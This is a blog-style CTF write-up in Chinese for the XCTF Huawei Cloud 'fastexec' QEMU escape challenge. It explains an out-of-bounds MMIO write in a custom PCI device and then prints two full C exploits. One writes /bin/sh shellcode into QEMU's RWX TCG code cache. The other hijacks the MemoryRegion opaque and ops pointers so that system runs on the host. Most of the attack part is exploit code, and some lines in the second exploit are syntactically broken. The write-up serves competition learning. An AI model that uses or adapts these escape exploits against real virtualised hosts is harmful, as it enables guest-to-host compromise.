XCTF 华为云专场 fastexec

最新推荐文章于 2022-04-10 12:24:26 发布
最新推荐文章于 2022-04-10 12:24:26 发布
阅读量295 收藏
点赞数
分类专栏： CTF 文章标签： 网络安全
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/yongbaoii/article/details/122501492
版权

在这里插入图片描述
绿

在这里插入图片描述
缺个库

sudo apt-get install libjpeg62

分析一下qemu文件
在这里插入图片描述
拿到id

在这里插入图片描述注册了个mmio

可以看一下结构体
在这里插入图片描述

fastexec_mmio_read
在这里插入图片描述

逻辑非常简单
就是将四个成员依次输出

fastexec_mmio_write
在这里插入图片描述有一次任意写机会。

怎么攻击呢？首先看了官方给的思路
用到了TCG模块攻击
什么是TCG模块？
我们一张图就明白了
在这里插入图片描述
图是网上找的

从QEMU-0.10.0开始，TCG成为QEMU新的翻译引擎，使QEMU不再依赖于GCC3.X版本，并且做到了“真正”的动态翻译（从某种意义上说，旧版本是从编译后的目标文件中复制二进制指令）。TCG的全称为“Tiny Code Generator”，QEMU的作者Fabrice Bellard在TCG的说明文件中写到，TCG起源于一个C编译器后端，后来被简化为QEMU的动态代码生成器（Fabrice Bellard以前还写过一个很牛的编译器TinyCC）。实际上TCG的作用也和一个真正的编译器后端一样，主要负责分析、优化Target代码以及生成Host代码。
Target指令 ----> TCG ----> Host指令

运用的基本原理呢就是
Qemu会在内存中mmap一块内存作为TCG模块的代码缓冲区，这块内存是RWX的
对于已经翻译的代码块，如果其未修改，Qemu会将其放置在该区域并缓存
所以我们可以对该区域写入shellcode，会在Qemu调用这块缓存代码时触发shellcode执行

两个id
在这里插入图片描述
在这里插入图片描述

在这里插入图片描述
拿到mmio

第一种思路
第一种思路说起来很简单，就是我们既然能越界，我们就直接越界写TCG模块，写上shellcode即可
在这里插入图片描述
在这里插入图片描述
上面这个是结构体在下面的情况，我们只需要爆破到结构体在上面就可以了

但是不推荐这样做，爆破量很大，很麻烦，我们也不能直接根据每次的情况在qemu里改代码。虽然原理很简单，但是感觉比较难实现，学学思想算了
exp

#include <assert.h>
#include <fcntl.h>
#include <inttypes.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/mman.h>
#include <sys/types.h>
#include <unistd.h>
#include<sys/io.h>

//cat /sys/devices/pci0000\:00/0000\:00\:04.0/resource0
uint32_t mmio_addr = 0xfea00000;
uint32_t mmio_size = 0x100000;
uint64_t phy_userbuf;
unsigned char* userbuf;

unsigned char* mmio_mem;

void die(const char* msg)
{
    perror(msg);
    exit(-1);
}

void* mem_map( const char* dev, size_t offset, size_t size )
{
    int fd = open( dev, O_RDWR | O_SYNC );
    if ( fd == -1 ) {
        return 0;
    }

    void* result = mmap( NULL, size, PROT_READ | PROT_WRITE, MAP_SHARED, fd, offset );

    if ( !result ) {
        return 0;
    }

    close( fd );
    return result;
}

void mmio_write(uint64_t addr, uint64_t value)
{
    *( (uint64_t *) (mmio_mem+addr) ) = value;
}

//
#define PAGE_SHIFT  12
#define PAGE_SIZE   (1 << PAGE_SHIFT)    //4096
#define PFN_PRESENT (1ull << 63)
#define PFN_PFN     ((1ull << 55) - 1)
 
uint32_t page_offset(uint32_t addr)
{
    return addr & ((1 << PAGE_SHIFT) - 1);
}
 
uint64_t gva_to_gfn(void *addr)
{
    uint64_t pme, gfn;
    size_t offset;

    int fd = open("/proc/self/pagemap", O_RDONLY);
    if (fd < 0) {
        die("open pagemap");
    }
    offset = ((uintptr_t)addr >> 9) & ~7;
    lseek(fd, offset, SEEK_SET);
    read(fd, &pme, 8);
    if (!(pme & PFN_PRESENT))
        return -1;
    gfn = pme & PFN_PFN;
    return gfn;
}

uint64_t gva_to_gpa(void *addr)
{
    uint64_t gfn = gva_to_gfn(addr);
    assert(gfn != -1);
    return (gfn << PAGE_SHIFT) | page_offset((uint64_t)addr);
}

/

void write_size(uint64_t val) {
    mmio_write(0x10, val);
}

void write_offset(uint64_t val) {
    mmio_write(8, val);
}

void write_paddr(uint64_t val) {
    mmio_write(0x16, val);
}

void only_write() {
    mmio_write(0x20, 0xF62D);
}

int main(int argc, char const *argv[])
{
    system( "mknod -m 660 /dev/mem c 1 1" );
    mmio_mem = mem_map( "/dev/mem", mmio_addr, mmio_size );
    if ( !mmio_mem ) {
        die("mmap mmio failed");
    }

    userbuf = mmap(0, 0x1000, PROT_READ | PROT_WRITE, MAP_SHARED | MAP_ANONYMOUS, -1, 0);
    if (userbuf == MAP_FAILED) {
        die("mmap userbuf failed");
    }
        
    mlock(userbuf, 0x1000);
    phy_userbuf = gva_to_gpa(userbuf);
    printf("userbuf va: 0x%llx\n", userbuf);
    printf("userbuf pa: 0x%llx\n", phy_userbuf);
    
    unsigned char * nop = malloc(0x1000);
    unsigned char *shellcode = "\x48\x31\xf6\x56\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54\x5f\xb0\x3b\x99\x0f\x05";

    memset(nop,'\x90',0xFEA);
    for(int i = 0; i<255*20 ; i++)
    {
        memcpy(userbuf+i*0x1000,nop,0xe30);
        memcpy(userbuf+0xFEA+i*0x1000,shellcode,22);     
    }
    getchar();
    write_offset(0x1000);
    write_size(0x100000000);
    write_paddr(phy_userbuf);
    only_write();

    return 0;
}

第二种方法是星盟大佬提出来的
首先要熟悉我们的结构体

在这里插入图片描述fastexec结构体里面有个MemoryRegion结构体

这个结构体长啥样

在这里插入图片描述
里面有一些很关键的指针
因为我们知道qemu管理内存的基本结构就是MemoryRegion
这个结构体中的opaque会记录现在结构的位置
所以我们如果上溢劫持opaque指针，就可以劫持整个结构体

所以我们的第一步就是劫持这个结构体
劫持到哪呢？
劫持到execed是0的地方
此时周围肯定有指针，就能做到既能泄露地址，又可以下次任意写
看一下结构体
在这里插入图片描述

实际发现呢我们必须让结构体往上走，因为那样会有好的指针给我们泄露
但是文艺就是我们需要爆破四个比特，因为我现在的截图地址后两个字节是2010 但是也可能是1010等等。

在这里插入图片描述
可以看到已经改了
在这里插入图片描述

下一步操作要干嘛
在这里插入图片描述
这个结构体里面的ops其实指向的是个虚表
所以如果我们把它劫持掉
虚表里面写上system
然后opaque给个paylaod地址

就可以了。

exp

#include <assert.h>
#include <fcntl.h>
#include <inttypes.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/mman.h>
#include <sys/types.h>
#include <unistd.h>
#include<sys/io.h>

//cat /sys/devices/pci0000\:00/0000\:00\:04.0/resource0
uint32_t mmio_addr = 0xfea00000;
uint32_t mmio_size = 0x100000;
uint64_t phy_userbuf;
unsigned char* userbuf;

unsigned char* mmio_mem;

void die(const char* msg)
{
    perror(msg);
    exit(-1);
}

void* mem_map( const char* dev, size_t offset, size_t size )
{
    int fd = open( dev, O_RDWR | O_SYNC );
    if ( fd == -1 ) {
        return 0;
    }

    void* result = mmap( NULL, size, PROT_READ | PROT_WRITE, MAP_SHARED, fd, offset );

    if ( !result ) {
        return 0;
    }

    close( fd );
    return result;
}

uint64_t mmio_read(uint64_t addr)
{
    return *((uint8_t*) (mmio_mem+addr));
}

void mmio_write(uint64_t addr, uint64_t value)
{
    *( (uint64_t *) (mmio_mem+addr) ) = value;
}

//
#define PAGE_SHIFT  12
#define PAGE_SIZE   (1 << PAGE_SHIFT)    //4096
#define PFN_PRESENT (1ull << 63)
#define PFN_PFN     ((1ull << 55) - 1)
 
uint32_t page_offset(uint32_t addr)
{
    return addr & ((1 << PAGE_SHIFT) - 1);
}
 
uint64_t gva_to_gfn(void *addr)
{
    uint64_t pme, gfn;
    size_t offset;

    int fd = open("/proc/self/pagemap", O_RDONLY);
    if (fd < 0) {
        die("open pagemap");
    }
    offset = ((uintptr_t)addr >> 9) & ~7;
    lseek(fd, offset, SEEK_SET);
    read(fd, &pme, 8);
    if (!(pme & PFN_PRESENT))
        return -1;
    gfn = pme & PFN_PFN;
    return gfn;
}

uint64_t gva_to_gpa(void *addr)
{
    uint64_t gfn = gva_to_gfn(addr);
    assert(gfn != -1);
    return (gfn << PAGE_SHIFT) | page_offset((uint64_t)addr);
}

/

uint64_t read_execed() {
    return mmio_read(0);
}

uint64_t read_offset() {
    return mmio_read(8);
}

uint64_t read_size() {
    return mmio_read(0x10);
}

uint64_t read_paddr() {
    return mmio_read(0x18);
}

void write_size(uint64_t val) {
    mmio_write(0x10, val);
}

void write_offset(uint64_t val) {
    mmio_write(8, val);
}

void write_paddr(uint64_t val) {
    mmio_write(0x18, val);
}

void only_write() {
    mmio_write(0x20, 0xF62D);
}

int main(int argc, char const *argv[])
{
    system( "mknod -m 660 /dev/mem c 1 1" );
    mmio_mem = mem_map( "/dev/mem", mmio_addr, mmio_size );
    if ( !mmio_mem ) {
        die("mmap mmio failed");
    }

    userbuf = mmap(0, 0x1000, PROT_READ | PROT_WRITE, MAP_SHARED | MAP_ANONYMOUS, -1, 0);
    if (userbuf == MAP_FAILED) {
        die("mmap userbuf failed");
    }
        
    mlock(userbuf, 0x1000);
    phy_userbuf = gva_to_gpa(userbuf);
    printf("userbuf va: 0x%llx\n", userbuf);
    printf("userbuf pa: 0x%llx\n", phy_userbuf);
    
    //0x2010 - 0xb8 = 0x1f58
    userbuf[0] = '\x58'; 
    userbuf[1] = '\x1f';
    write_offset(-0xc0);
    write_paddr(phy_userbuf);
    write_size(2);
    only_write();
    size_t elf_base = read_size() - 0xd62d20;
    size_t struct_addr = read_offset();
    size_t system_addr = elf_base + 0x2C2180;
    printf("elf_base=0x%lx\n",elf_base);
    printf("struct_addr=0x%lx\n",elf_base);
    printf("system_addr=0x%lx\n",system_addr);
    //getchar();

    (uint64_t)userbuf[0] = struct_addr + 0x948;
    (uint64_t)userbuf[1] = struct_addr + 0x950;
    (uint64_t)userbuf[2] = system_addr;
    (char *)(userbuf + 0x18) = "cat /flag\x00";

    write_offset(-0x18);
    write_paddr(phy_userbuf);
    write_size(0x22);
    only_write();

    read_execed();

    return 0;
}
yongbaoii
关注
专栏目录
「TCG 规范解读」规范结构
最是书香能致远，腹有诗书气自华
02-28 1762
第一层是词汇表和架构概述第二层是核心规范和平台相关规范书写指南第三层是平台相关规范第四层是平台相关合规第五层是 ISO-15408 CC PP架构概述总体上指导着“平台相关标准编写指南”、“TPM 主要规范 1~4”、“TSS 软件栈”及“基础设施架构和协议”。图2 架构概述TCG 架构概述讲述了 TCG 的目标和体系结构，定义了 TPM 平台的使用场景、合规流程、制造和支持过程可能受到的影响等。具体参考「TCG 规范解读」TCG 规范架构概述。
CTF资源
镜湖
08-05 963
一 个人成长 此部分内容来自 TK 教主分享的腾讯玄武实验室内部例会 PPT 资料。 1 个人成长 确立个人方向，结合工作内容，找出对应短板： 该领域主要专家们的工作是否都了解？ 相关网络协议、文件格式是否熟悉？ 相关的技术和主要工具是否看过、用过？ 阅读只是学习过程的起点，不能止于阅读： 工具的每个参数每个菜单都要看、要试。 学习网络协议要实际抓包分析，学习文件格式要读代码实现。 学习老漏洞一定要调试，搞懂别人代码每一个字节的意义，之后要完全自己重写一个 Exploit。 细节、细节、细节，刨根问
2020XCTF华为云专场pwn题WP
Sakura给爷pwn全场
12-23 515
Pwn CPP 解题思路 题⽬存在uaf，结合堆⻛⽔getshell #!/usr/bin/python #coding:utf-8 from pwn import * context.log_level='debug' #io=process("./chall",env={"LD_PRELOAD":"./libc-2.31.so"}) io=remote('124.70.12.210', 10002) libc=ELF("./libc-2.31.so") sla=lambda a : io.sendlin
2020 华为xctf第二场
Firebasky的博客
12-24 669
第二次就做了一个web，web3是看三之师傅的wp复现的。 如果wp有错误希望师傅们指出 链接：https://pan.baidu.com/s/16BhdYDuD7yR-eBH-zgbsow 提取码：t2rl 复制这段内容后打开百度网盘手机App，操作更方便哦
【2020XCTF/华为杯】PYPY WriteUp
古月浪子的博客
12-24 679
题目是一个PYPY打包的elf程序，使用pygame写了一个贪吃蛇游戏，现有的pyinstaller的解包脚本好像不太好使，那么自己动手 根据输出报错信息定位代码，这个qword_6077E0应该是反序列化pyc代码的函数，gdb断在这里，即可拿到对应的pyc文件 这个函数会被执行4次，第4次是我们期望的代码，第四次断下后使用 dump memory ./dmp $rdi $rdi+$rsi 拿到文件，补上前4个字节的文件头以后，加上.pyc后缀然后使用uncompyle6反编译，得到源码 DEFAULT
XCTF高校网络安全专题挑战赛 |华为云专场重磅开启！
Cyberpeace的博客
12-17 603
网络空间的竞争，归根结底是人才的竞争。数字化转型大潮之下，网络与物理空间的边界日渐消融，越来越专业化、规模化的黑客组织攻击带来新的挑战，网络攻防态势也愈演愈烈。基于此，XCTF高校网络安全专题挑战赛吹响集结号。 XCTF高校网络安全专题挑战赛由XCTF国际联赛主办，赛宁网安承办，华为终端安全、华为云安全、华为鲲鹏计算安全独家赞助。大赛共设“HarmonyOS和HMS”、“华为云”、“鲲鹏计算”三场专场选拔赛及总决赛，面向全体高校在校生开启，并提供35万元专项奖励基金供选手挑战，赛事优胜者除了获得华为盖章认
竞赛资料源码-XCTF联赛杭州（杭电）站选拔赛，动画效果图.zip
最新发布
01-24
大数据挑战赛、团体程序设计天梯赛、移动应用创新赛、网络技术挑战赛、全国大学生信息安全竞赛、“中国软件杯”大学生软件设计大赛、...华为ICT大赛、全国大学生嵌入式芯片与系统设计竞赛、中国高校智能机器人创意大赛
20位大佬，勾勒出一个中国网络安全江湖
xueshenlaila的博客
06-28 4634
文章目录一、为大家介绍20位大佬？一 西安：西交大、西电、西工大360 集团董事长兼 CEO：周鸿祎赛博英杰 CEO：谭晓生腾讯副总裁：丁珂阿里云：吴翰清知道创宇 CTO&COO：杨冀龙二 合肥：中科大、安医大深信服 CEO：何朝曦360 首席科学家：潘剑锋腾讯安全：TK 教主云深互联 CEO：陈本峰三 哈尔滨：哈工大、哈工程安天集团：肖新光360 集团首席安全官：杜跃进安芯网盾 CEO、CTO：姜向前、姚纪卫四 上海：复旦、同济、上海交大腾讯安全：吴石启明星辰集团 CEO：严望佳同济：季昕华五 .
QEMU1.3.0源码分析之二：TCG
weixin_30628801的博客
12-07 309
TCG是Tiny Code Generator的简称，它之前是一个后端编译器，现在是作为一个动态翻译器来使用。在QEMU中，它主要用来将虚拟出来的系统的指令转化成真正硬件支持的指令中的从中间代码到硬件支持的机器代码的过程。前端的将指令翻译成中间代码的过程，是一个反汇编的过程。 反汇编的过程的源码的主要地址：qemu source code/target-XXX。此处的XXX指的是模拟出来...
对TCG的概要分析和对TPM的学习（一）
kimili1987的专栏
03-15 8187
（YOUXIANG：lichunwen1987ATqq。com） 参考TCG Specification Architecture Overview 1.4 。http://www.trustedcomputinggroup.org/ 检索TCG Specification Architecture Overview 1      可信计算的主要规范文档     Ø  TCG体系
TCG名词
SinceZed的博客
08-24 754
TPM（Trusted Platform Module）：可信平台模块，是一个SOC（System on Chip）芯片，加上嵌入式操作系统后构成一个以安全保密功能为特色的嵌入式计算系统 TSS（TCG Software Stack）:可信软件栈，是可信计算平台上TPM的支撑软件。TSS的主要作用是为操作系统和应用软件提供使用TPM的接口 TNC（Trusted Network Connect）：可信网络连接技术，用来实现平台到网络的可信扩展，以确保网络的可信 PCR（Platform configu
安恒杯 7月赛PWN-unexploit 经验总结
qq_43189757的博客
07-16 942
通过这题发现自己的有很多知识点短板 解题思路： read函数读取的缓冲区在 rbp-buf 也就是rbp - 0x8 处，那么控制了rbp的值指向我们可以写的区域（比如bss段）就可以在那个区域植入shellcode，再控制ret跳转到shellcode的地址就可以getshell了 具体做法： 把栈段切换到bss段，也就是让bss成为栈段 开始进行溢出的时先把rbp的值覆盖为 bss_addr...
qemu源码分析之五-- TCG动态翻译技术
云计算?
10-12 905
1. TCG简单介绍 TCG（Tiny Code Generator）最早被用于C编译器的后端。在TCG相关的代码中，target指的是我们通常说的host，这一点需要注意，并不是我们理解的被仿真的平台。 2. TCG动态翻译技术的几个概念 （1）与dyngen一样，TCG的“function”与qemu的TBs（Translated Block）相对应，即以分支跳转指令结束的代码段...
one_gadget 下载 安装 与使用
yongbaoii的博客
10-15 8464
00 开始 当有了ROP_gadget之后就会发现one_gadget也是必须的。 one_gadget就是用来去查找动态链接库里execve("/bin/sh", rsp+0x70, environ)函数的地址的，专职。 01 安装 sudo apt -y install ruby sudo gem install one_gadget 02 使用 举个栗子 还是挺简单的。 ...
go pwn 2022 虎符 gogogo
yongbaoii的博客
04-09 7059
刚刚看了17年seccon的baby_stack 看着这个感觉好亲切。
linux 安装codeql环境 （二）codeql database create通过报错分析其流程
yongbaoii的博客
04-10 5914
尝试过很多解决方案之后无果 决定研究一下它的整个流程
解决LibcSearcher找不到合适libc（更新libc）
yongbaoii的博客
02-09 5753
1 尝试直接更新 进入LibcSearcher/libc-database中运行./get文件即可进行更新。 可能./get更新不了。 2 究极更新 cd LibcSearcher rm -rf libc-database git clone https://github.com/niklasb/libc-database.git 然后进入libc-database执行./get 可能会这样提醒。 那么就看需要点啥更新点啥，一般是 ./get ubuntu #一般pwn题环境就Ubuntu，所以有第一个
linux 安装codeql环境 （一）基本环境搭建
yongbaoii的博客
04-10 5192
cccccccodeql
PWN 更换目标程序libc
yongbaoii的博客
12-29 4889
网上这方面我感觉还是比较少的，在这里把我的方法拿出来防止大家踩坑。 这一块知识不大懂的推荐去看《程序员的自我修养》第八章共享库那一章节。 我们换libc的原因是在调试程序的时候我们本地的libc可能跟远程计算机上的libc不一样，不是可能，基本上都不一样，那么我们程序加载libc之后里面的一些函数的偏移地址就会跟我们想的不一样，从而导致脚本不停出错。那么就需要我们去把程序所链接的libc从本地libc更换成远程服务器上的libc。 原理简单的说就是用patchelf把程序依赖libc的那个软连接改一下，或者
go runtime
yongbaoii的博客
04-01 4612
Runtime 包括go 调度 go内存分配 go GC
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值